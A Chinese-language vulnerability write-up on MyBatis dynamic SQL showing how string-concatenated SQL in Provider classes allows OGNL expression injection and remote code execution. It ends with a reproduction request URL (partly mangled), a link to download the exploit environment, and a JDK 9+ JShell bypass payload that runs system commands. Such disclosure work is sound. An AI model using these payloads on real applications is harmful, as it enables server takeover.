动态 SQL 是 MyBatis 的强大特性之一,一般而言,如果不使用动态SQL来拼接SQL语句,是比较痛苦的,比如拼接时要确保不能漏空格,还要注意去掉列表最后一个列名的逗号等,但是利用动态 SQL,就可以彻底摆脱这种痛苦。
一般而言,使用mybatis有两种配置,一种是通过xml文件的方式来配置,另一种是通过注解的方式来配置。
1、xml文件
mybatis的*mapper.xml文件里能够使用动态SQL的标签有4种,分别是:
① if
if标签是Mybatis中使用动态SQL比较频繁的地方,尤其是在where的判断里,比如:
<select id="findActiveBlogWithTitleLike" resultType="Blog">
SELECT * FROM BLOG WHERE state = 'ACTIVE'
<if test="title != null">
AND title like #{title}
</if>
</select>
这里的SQL语句就提供了选择情景,如果我们不传入title或者传入的title为空,那么就不会拼接 AND title like #{title}
又或者想加入额外的判断:
<select id="findActiveBlogLike"
resultType="Blog">
SELECT * FROM BLOG WHERE state = 'ACTIVE'
<if test="title != null">
AND title like #{title}
</if>
<if test="author != null and author.name != null">
AND author_name like #{author.name}
</if>
</select>
结论:if标签里的 test属性,可以插入并解析OGNL表达式
② choose (when, otherwise)
根据官方文档中的说明
有时候,我们不想使用所有的条件,而只是想从多个条件中选择一个使用。针对这种情况,MyBatis 提供了 choose 元素,它有点像 Java 中的 switch 语句。
<select id="findActiveBlogLike" resultType="Blog">
SELECT * FROM BLOG WHERE state = 'ACTIVE'
<choose>
<when test="title != null">
AND title like #{title}
</when>
<when test="author != null and author.name != null">
AND author_name like #{author.name}
</when>
<otherwise>
AND featured = 1
</otherwise>
</choose>
</select>
结论:when标签里的 test属性,可以插入并解析OGNL表达式
③ trim (where, set)
<select id="findActiveBlogLike" resultType="Blog">
SELECT * FROM BLOG WHERE
<if test="state != null">
state = #{state}
</if>
<if test="title != null">
AND title like #{title}
</if>
<if test="author != null and author.name != null">
AND author_name like #{author.name}
</if>
</select>
可以看下这个SQL语句,假设如果没有满足匹配的条件,那么最终这条 SQL 会变成这样:
SELECT * FROM BLOG
WHERE
毫无疑问,这会导致查询失败
同样的,如果匹配的只是第二个条件,这条 SQL 会是这样:
SELECT * FROM BLOG
WHERE
AND title like 'someTitle'
这个查询也会失败
所以mybatis提出来了trim方法,如下:
<select id="findActiveBlogLike" resultType="Blog">
SELECT * FROM BLOG
<where>
<if test="state != null">
state = #{state}
</if>
<if test="title != null">
AND title like #{title}
</if>
<if test="author != null and author.name != null">
AND author_name like #{author.name}
</if>
</where>
</select>
可以看到多了一个where标签,同理还有一个set标签
结论:该情况下,一般没有地方可以供我们插入OGNL表达式
④ foreach
动态 SQL 的另一个常见使用场景是对集合进行遍历(尤其是在构建 IN 条件语句的时候)。比如:
<select id="selectPostIn" resultType="domain.blog.Post">
SELECT *
FROM POST P
<where>
<foreach item="item" index="index" collection="list"
open="ID in (" separator="," close=")" nullable="true">
#{item}
</foreach>
</where>
</select>
结论:该情况下,一般没有地方可以供我们插入OGNL表达式
⑤ bind
bind 标签允许我们在 OGNL 表达式以外创建一个变量,并将其绑定到当前的上下文。比如:
<select id="selectBlogsLike" resultType="Blog">
<bind name="pattern" value="'%' + _parameter.getTitle() + '%'" />
SELECT * FROM BLOG
WHERE title LIKE #{pattern}
</select>
结论:bind标签里的 value属性,可以插入并解析OGNL表达式
2、注解
springboot使我们摆脱了各种xml配置的烦恼,对应的,mybatis也为springboot提供了对应的注解来满足动态SQL的功能,主要有以下注解:
- @Insert
- @Update
- @Delete
- @Select
- @InsertProvider
- @SelectProvider
- @UpdateProvider
- @DeleteProvider
@Insert、@Update、@Delete和@Select这四个注解对应的是数据库增删改查功能,每一个都有一个对应的Provider注解标识
带有Provider注解和不带有Provider注解的区别是,使用Provider需要自己实现查询类,并且使用动态SQL也简单很多。
举个例子,如果@Update注解想要实现动态SQL,那么一定要使用 <script> 标签,如下:
@Update({"<script>",
"update Author",
" <set>",
" <if test='username != null'>username=#{username},</if>",
" <if test='password != null'>password=#{password},</if>",
" <if test='email != null'>email=#{email},</if>",
" <if test='bio != null'>bio=#{bio}</if>",
" </set>",
"where id=#{id}",
"</script>"})
void updateAuthorValues(Author author);
可以看到,可以引用xml中的标签,然后来使用动态SQL
但这样的方式很不美观,而且也有点鸡肋(还不如直接用xml来配置了)
因此有了各类Provider,如:@SelectProvider
我们定义一个查询方法为:
@SelectProvider(type = UserDaoProvider.class, method = "findTeacherByName")
Teacher findUserByName(Map<String, Object> map);
SelectProvider 调用的方法为findTeacherByName,如下:
public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT("id,email");
FROM("Teacher");
if(map.get("id")!=null)
WHERE("name=#{name}");
}
}.toString();
return s;
}
}
可以看到,这种方式没有任何标签,但是同样实现了动态SQL
场景分析
前面说了动态SQL的基础知识,可以看到,主要就一个点,在动态SQL中,可以解析OGNL表达式
那么是不是说,如果我们控制了一个变量,并且该变量可以被解析成OGNL表达式,是不是就能够实现OGNL表达式注入呢?
答案是肯定的。
经过研究,总结出变量可以被解析成OGNL表达式,主要有以下几个地方:
- if标签里的 test属性
此属性一般写死,不可控
- when标签里的 test属性
此属性一般写死,不可控
- bind标签里的 value 属性
bind标签value属性是可以传值的,如:
<if test="name != null and name !=''">
<bind name="likename" value="name" />
name like #{likename}
</if>
但经过测试发现,这里进行OGNL表达式解析的时候,是有顺序的
假设令name的值为:${@java.lang.Math@min(4,10)}
我们想要的执行顺序是这样的:
先利用OGNL表达式解析器来获取${@java.lang.Math@min(4,10)}的值,得到值以后,再将其赋给bind标签中的value,即:
<bind name="likename" value="4" />
但实际上并非如此,mybatis对于bind中value属性的OGNL解析流程是这样的,
首先利用OGNL表达式解析器解析value的值,此时值单纯为name变量,即:
<bind name="likename" value="name" />
然后得到值,${@java.lang.Math@min(4,10)},然后将其赋给bind标签value属性中的name变量,即:
<bind name="likename" value="${@java.lang.Math@min(4,10)}" />
这也就导致我们无法令传入的变量的值被OGNL表达式解析器来进行解析,也就无法实现OGNL表达式注入
- ${param} 参数中
${param} 和 【bind标签里的 value属性】同理,虽然可以传值, 但是存在解析顺序问题,同样无法实现OGNL表达式注入
比如存在以下select标签 :
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${name};
</select>
传入的name为:${@java.lang.Math@min(4,10)}
那么其解析过程为:
首先利用OGNL解析器解析${}标签里的内容,解析完毕以后得到name的变量,传入SQL中:
select id,email from Teacher where name = '${@java.lang.Math@min(4,10)}';
- Provider实现类中的拼接到SQL里的变量
在注解部分里,曾经提到:
public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT("id,email");
FROM("Teacher");
if(map.get("id")!=null)
WHERE("name=#{name}");
}
}.toString();
return s;
}
}
可以看到,返回值实际上就是一个SQL语句
没错,Provider其实就是要返回一个SQL字符串,只不过用了一些关键字做格式化而已,其实不使用也可以,比如:
public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT("id,email");
FROM("Teacher");
if(map.get("id")!=null)
WHERE("name=" + name);
}
}.toString();
return s;
}
}
甚至可以使用String字符串拼接SQL语句:
public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String sql = "select id,email from Teacher where name = " + name;
return sql;
}
}
亦或者使用String.format来处理:
public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String finalName = String.format(" name in (%s)", name);
String sql = new SQL() {{
SELECT("id,email");
FROM("Teacher");
WHERE(finalName);
ORDER_BY("id desc");
}}.toString();
System.out.println(sql);
return sql;
}
有时候复杂的语句还可以使用StringBuilder或者StringBuffer拼接,如:
public String countUserByRolePM(final UserVO userVO)
{
StringBuffer sb = new StringBuffer();
sb.append("SELECT count(*) FROM ( ");
sb.append(" SELECT A.*,count(P.Id) FROM (");
sb.append(" SELECT U.id,U.name,DD.referrer,U.mobilePhone ,U.country ,U.city,U.goodAtIndustry,U.englishAbility,U.goodAtArea,U.state,U.createTime,U.modifyTime FROM T_USER U LEFT JOIN T_USER_ROLE UR ON U.id = UR.userId " +
" LEFT JOIN (SELECT A.id,B.name as referrer FROM T_USER AS A INNER JOIN T_USER as B ON A.referrer = B.id) as DD ON DD.id = U.id WHERE 1=1 ");
sb.append(" AND UR.roleId in (");
String[] roleids = userVO.getParaRoleIDS().split(",");
if (roleids != null){
for (int i = 0 ; i< roleids.length ; i ++){
String s = roleids[i];
if(i != roleids.length -1){
sb.append("'" + s + "'" + ",");
}else{
sb.append("'" + s + "'");
}
}
}
sb.append(")");
if(!StringUtils.isEmpty(userVO.getName())){
sb.append(" AND U.name LIKE CONCAT('%',#{name},'%')");
}
if(!StringUtils.isEmpty(userVO.getMobilePhone())){
sb.append(" AND U.mobilePhone = #{mobilePhone}");
}
if(!StringUtils.isEmpty(userVO.getCity())){
sb.append(" AND U.city LIKE CONCAT('%',#{city},'%')");
}
if(!StringUtils.isEmpty(userVO.getRegion())){
sb.append(" AND U.region LIKE CONCAT('%',#{region},'%')");
}
if(!StringUtils.isEmpty(userVO.getPlatformLevel())){
sb.append(" and U.platformLevel = #{platformLevel}");
}
if(!StringUtils.isEmpty(userVO.getGoodAtIndustry())){
sb.append(" and find_in_set(#{goodAtIndustry},U.goodAtIndustry)");
}
if(!StringUtils.isEmpty(userVO.getState())){
sb.append(" and U.state = #{state}");
}
sb.append(" GROUP BY U.id");
sb.append(" ) A");
sb.append(" LEFT JOIN T_PROJECT P ON P.pmId = A.id");
sb.append(" GROUP BY A.id");
sb.append(" ORDER BY A.modifyTime DESC");
sb.append(") as A");
return sb.toString();
}
这样形成的SQL语句,实际上就是相当于生成了一个XML文件:
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = 传入的name值
</select>
那这样的方式和bind标签里的 value 属性或者${param} 参数中有没有区别呢?
当然有区别,并且这种区别是本质的
正是前文中提到的:解析顺序
这种形成的SQL语句会首先进行OGNL表达式,然后再执行查询。
以下面的Provider为例:
public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT("id,email");
FROM("Teacher");
if(map.get("id")!=null)
WHERE("name=" + name);
}
}.toString();
return s;
}
}
如果我们传入name的值为:${@java.lang.Math@min(4,10)}
其流程是这样的:
首先生成了SQL语句为:
select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};
经过一系列的传递,相当于生成(实际上并未生成,直接解析的)了一个如下的XML文件:
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};
</select>
然后进行OGNL表达式解析:
<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = '4';
</select>
解析完毕以后得到name的变量,传入SQL中:
select id,email from Teacher where name = '4';
这也就导致了OGNL表达式注入
影响范围
- mybatis-spring-boot-starter >=2.0.1(mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL)
或者
- Mybatis 全版本
或者
- mybatis-plus-boot-starter >=3.1.1
漏洞复现
如果在mybatis中存在某个SelectProvider(或者其他的Provider)的方法实例如下:
public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT(returnSql);
FROM("Teacher");
WHERE("name=" + name);
}
}.toString();
return s;
}
}
对应controller如下:
@RequestMapping("selectUserByName")
public Teacher getUserOne(String id,String name){
Teacher tea=new Teacher();
tea.setId(id);
tea.setName(name);
Teacher teacher=userService.findTeacherByName(tea);
return teacher;
}
http://localhost:8080/selectUserByName?id=7&name=%24%[email protected]@getRuntime().exec("open /System/Applications/Calculator.app")%7D
利用环境下载:
链接: https://pan.baidu.com/s/1rKZDdpv3vfV-pQGXhAFfKw 提取码: b3qs
漏洞利用限制
不同版本的mybatis-spring-boot-starter引用了不同的Mybatis版本,而不同的Mybatis版本又使用了不同的OGNL组件版本
在 mybatis-spring-boot-starter 组件的2.0.1版本中,其引用的Mybatis版本为3.5.1,对应的OGNL版本为3.2.10,在这个版本中,并未对传入的OGNL表达式反射调用的类进行限制,而在高版本中进行了限制(如mybatis3.5.9,具体从哪个版本开始限制的,没有调查),因此想要在高版本中进行绕过限制,需要一定的技巧,这里只提供一种Java环境大于等于JDK9的通杀payload ,小于9的也可以绕过,具体可以思考从编码入手。
${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}
该漏洞为特殊场景下的利用,只有存在SQL注入的时候,此漏洞才会存在
因此可能遇到的情景比较少
是一种特定场景下mybatis SQL到RCE的补充利用